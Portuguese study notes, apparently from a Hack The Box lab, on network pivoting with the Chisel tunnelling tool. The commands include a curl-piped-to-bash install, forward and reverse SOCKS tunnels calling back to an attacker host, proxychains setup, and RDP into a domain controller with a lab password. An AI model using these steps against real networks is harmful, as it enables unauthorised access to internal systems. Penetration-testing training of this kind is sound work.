Chisel

Chisel é uma ferramenta de tunelamento baseada em TCP/UDP escrita em Go que usa HTTP para transportar dados protegidos usando SSH.

  • Cloning Chisel

curl https://i.jpillora.com/chisel! | bash
  • Binario

ln -s /usr/local/bin/chisel chisel
  • Transferindo o Chisel Binary para o Pivot Host

scp chisel ubuntu@10.129.202.64:~/
  • Executando o Chisel Server no Pivot Host

./chisel server -v -p 1234 --socks5
  • Conectando ao servidor Chisel

./chisel client -v 10.129.202.64:1234 socks
  • Editando e confirmando proxychains.conf

Akira20@htb[/htb]$ tail -f /etc/proxychains.conf 

#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 	127.0.0.1 9050
socks5 127.0.0.1 1080
  • Pivotando para o DC

proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Chisel Reverse Pivot

  • Iniciando o Chisel Server em nosso Host de Ataque (kali)

sudo ./chisel server --reverse -v -p 1234 --socks5
  • Conectando o Chisel Client ao nosso Host de Ataque (ubuntu)

./chisel client -v 10.10.14.17:1234 R:socks
  • Editando e confirmando proxychains.conf

Akira20@htb[/htb]$ tail -f /etc/proxychains.conf 

[ProxyList]
# add proxy here ...
# socks4    127.0.0.1 9050
socks5 127.0.0.1 1080 
  • Se usarmos proxychains com RDP, podemos nos conectar ao DC na rede interna através do túnel que criamos para o host Pivot.

proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

How To Pivot Through a Network with Chisel - John Hammond

Last updated